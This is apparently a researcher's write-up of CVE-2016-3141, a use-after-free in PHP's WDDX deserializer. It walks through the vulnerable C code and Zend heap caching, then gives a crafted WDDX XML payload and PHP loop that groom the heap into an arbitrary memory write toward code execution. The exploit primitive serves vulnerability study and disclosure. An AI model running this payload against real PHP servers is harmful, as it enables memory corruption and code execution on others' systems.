CVE-2016-3141# CVE-2016-3141
## 1. Vulnerability Detail.
Use-after-free vulnerability in wddx.c in the WDDX extension in PHP before 5.5.33 and 5.6.x before 5.6.19 allows remote attackers to cause a denial of service (memory corruption and application crash) or possibly have unspecified other impact by triggering a wddx_deserialize call on XML data containing a crafted var element.
## 2. Overview Bug.
This a User After Free bug, occured when wddx try to process XML data.
Take look at this code in function **php\_wddx\_deserialize_ex**. When wddx\_deserialize($xml) some XML data, php will call this function and then set some functions to handle xml tag and data.
```C
XML_SetUserData(parser, &stack);
XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
XML_SetCharacterDataHandler(parser, php_wddx_process_data);
```
Function `php_wddx_push_element` create a entry for a tag as you can see in this snipped. For example when you input
`<string>Hello World</string>` if they hit open tag _<string>_ will call php\_wddx\_push\_element to create an st_entry tag that store information of a tag, let take a look some snipped code below.
```C
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
st_entry ent;
wddx_stack *stack = (wddx_stack *)user_data;
----SNIP----
else if (!strcmp(name, EL_STRING)) {
ent.type = ST_STRING;
SET_STACK_VARNAME;
ALLOC_ZVAL(ent.data);
INIT_PZVAL(ent.data);
Z_TYPE_P(ent.data) = IS_STRING;
Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
Z_STRLEN_P(ent.data) = 0;
wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
}
----SNIP----
}
```
*SET\_STACK_VARNAME* is a procedure is define below. This procedure is simple check stack->varname of a tag if they not NULL thay will clone this stack->varname and then free it.
```C
#define SET_STACK_VARNAME \
if (stack->varname) { \
ent.varname = estrdup(stack->varname); \
efree(stack->varname); \
stack->varname = NULL; \
} else \
ent.varname = NULL; \
```
The bug happened in `php_wddx_pop_element`. When xml close a tag of var tag, it will free **varname** of this tag, and this free pointer still store in **stack->varname**. For example, if you create a var like `<var name='UAF'></var>`, php_wddx_push_element will create a struct that store this *var* tag then when you closed this tag the free it but forget to set this `stack->name = NULL` or decrease `stack->top`, after that if you create a other tag such as `<string>` the function `SET_STACK_VARNAME` will reuse this free pointer.
```C
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
# ***SNIP***
} else if (!strcmp(name, EL_VAR) && stack->varname) {
efree(stack->varname);
}
# ***SNIP***
}
```
## 3. The Exploitation
When i first saw this bug, i thought "can't i turn this bug to code excution ?". First, i have to understand how zend heap implement, let see function `_zend_mm_alloc_int` in zend_alloc.c below
```C
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
size_t index = ZEND_MM_BUCKET_INDEX(true_size);
size_t bitmap;
if (UNEXPECTED(true_size < size)) {
goto out_of_memory;
}
#if ZEND_MM_CACHE
if (EXPECTED(heap->cache[index] != NULL)) {
/* Get block from cache */
#if ZEND_MM_CACHE_STAT
heap->cache_stat[index].count--;
heap->cache_stat[index].hit++;
#endif
best_fit = heap->cache[index];
heap->cache[index] = best_fit->prev_free_block;
heap->cached -= true_size;
ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
HANDLE_UNBLOCK_INTERRUPTIONS();
return ZEND_MM_DATA_OF(best_fit);
}
```
If we malloc chunk size is small (less than 256 bytes) zend\_alloc will use *heap->cache* , is a free chunk list that stored many small free chunk linked list, this *heap->cache* like malloc *fast_bin*. If some how we can overwrite best\_fit->prev\_free\_block pointer with own address then zend\_alloc again and we can use it address to write somewhere in memory.
To do that, i will create wddx xml below:
```php
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<array>
<binary>HERE</binary> # (1)
<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
<binary>REPLACE</binary> # (3)
<var name='SUCK'></var> # (4)
<boolean value='a'/>
<boolean value='true'/>
</array>
</wddxPacket>
EOF;
$binary_value = base64_encode(str_repeat("A",32));
$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);
$wddx = wddx_deserialize($xml);
foreach($wddx as $k => $v){
$k = "".str_repeat("C",6); (5)
$t = (string)$v; (6)
$g = (string)$v; (7)
}
```
1. Create 32 bytes (chunk_a) with binary tag because this tag allow you to input non-printable character.
2. Create a name with same size as first binary tag and the make this name value is freed (chunk_b).
3. Create a padding chunk with 64 bytes (chunk_c).
4. Create a name with 8 bytes and then free it (chunk_d).
5. After deserialize this $xml, i make a foreach loop throught this object in the first loop i have $k now point to chunk\_b is freed, $v now point to chunk\_a, i use operator *concat\_function* to overwrite best\_fit->prev\_free_block with own data.
6. Use php string casting which call to estrncpy to create a new chunk (chunk_e) now to point to chunk\_b and make heap->cache[index] store own value.
7. Ok do that again estrncpy($v,32) ($v=$binary\_value) first zend_alloc again and we have crash $r12 = 0x4343434343, if we replace this value with another address, estrncpy will happy to call memcpy(r12,v,size) by that we can overwrite anywhere we want.
You can see my full exploit here [peter_code_execute.php](./peter_code_execute.php) (Tested on Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14).
Finally, i have turned this bug to Code Execution successfully.
# 4. Preferences
[http://www.cvedetails.com/cve/CVE-2016-3141/](http://www.cvedetails.com/cve/CVE-2016-3141/).
[https://bugs.php.net/bug.php?id=71587](https://bugs.php.net/bug.php?id=71587).Log in to view the POC file snapshot cached by Shenlong Bot
Log in to view